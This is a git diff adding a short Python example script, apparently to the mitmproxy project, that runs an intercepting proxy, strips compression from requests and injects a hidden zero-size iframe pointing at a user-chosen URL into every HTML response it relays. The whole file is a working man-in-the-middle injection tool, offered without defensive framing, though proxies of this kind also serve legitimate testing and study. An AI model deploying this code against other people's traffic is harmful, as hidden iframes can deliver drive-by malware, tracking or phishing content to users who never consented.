diff options
| -rwxr-xr-x | examples/iframe_injector | 50 | 
1 files changed, 50 insertions, 0 deletions
diff --git a/examples/iframe_injector b/examples/iframe_injector new file mode 100755 index 00000000..6dd28674 --- /dev/null +++ b/examples/iframe_injector @@ -0,0 +1,50 @@ +#!/usr/bin/env python +""" +    Zap encoding in requests and inject iframe after body tag in html responses. +    Usage: +        iframe_injector http://someurl/somefile.html +""" +from libmproxy import controller, proxy +import os +import sys + + +class InjectingMaster(controller.Master): +    def __init__(self, server, iframe_url): +        controller.Master.__init__(self, server) +        self._iframe_url = iframe_url + +    def run(self): +        try: +            return controller.Master.run(self) +        except KeyboardInterrupt: +            self.shutdown() + +    def handle_request(self, msg): +        if 'Accept-Encoding' in msg.headers: +            msg.headers["Accept-Encoding"] = 'none' +        msg._ack() + +    def handle_response(self, msg): +        if msg.content: +            c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url) +            if c > 0: +                print 'Iframe injected!' +        msg._ack() + + +def main(argv): +    if len(argv) != 2: +        print "Usage: %s IFRAME_URL" % argv[0] +        sys.exit(1) +    iframe_url = argv[1] +    config = proxy.ProxyConfig( +        cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem") +    ) +    server = proxy.ProxyServer(config, 8080) +    print 'Starting proxy...' +    m = InjectingMaster(server, iframe_url) +    m.run() + +if __name__ == '__main__': +    main(sys.argv)  | 
